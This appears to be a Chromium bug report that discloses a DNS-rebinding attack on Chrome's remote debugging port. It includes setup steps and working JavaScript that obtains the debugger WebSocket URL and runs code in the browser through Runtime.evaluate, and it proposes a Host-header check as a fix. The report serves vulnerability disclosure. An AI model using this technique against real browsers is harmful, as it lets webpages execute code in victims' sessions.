UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.113 Safari/537.36

Steps to reproduce the problem:
1. Launch Chrome with "google-chrome-unstable --remote-debugging-port=9123". In the
   launched Chrome instance, open chrome://settings.
2. Configure a couple of A records for hostnames under some domain you control so
   that each hostname has one record pointing to 127.0.0.1 and one record pointing
   to some server you control. (I'll use localandserver{1,2,3,...}.example.org in
   the following text.)
3. Let the server listen on port 9123, too.
4. In another chrome instance, navigate to http://localandserver1.example.org:9123/.
   If you get the "Inspectable pages" page, use the next hostname, and repeat it until
   you get the page from your own server. (This could be automated for a real attack.)
5. Stop the webserver on port 9123 of the server.
6. Run this in the context of the page loaded from your server:

var req = new XMLHttpRequest();
req.open('get', '/json', false);
req.send();
var wsurl = JSON.parse(req.responseText)[0].webSocketDebuggerUrl;
console.log(wsurl);
var ws = new WebSocket(wsurl);
ws.onmessage = function(msg) {console.log(msg.data)};
ws.onopen = function() {
  ws.send(JSON.stringify({id:1,method:"Runtime.evaluate",params:{expression:"alert(document.location)",objectGroup:"console",includeCommandLineAPI:true,silent:false,contextId:1,returnByValue:false,generatePreview:true,userGesture:true,awaitPromise:false}}))
};

What is the expected behavior?
While it isn't entirely unreasonable to design a feature like this one under the assumption that it isn't used while untrusted websites are open in any browser on the system, it might still make sense to have some mitigations against this.

In particular, I believe that adding checks on the "Host" header would be a mitigation with low compatibility risks that would still prevent webpages from obtaining websocket URLs. (Checking the "Origin" header might lead to more compatibility issues.)

What went wrong?
A normal webpage is able to connect to the remote debugging port and issue commands through it.

Did this work before? N/A 

Chrome version: 55.0.2859.0  Channel: dev
OS Version: 
Flash Version: Shockwave Flash 23.0 r0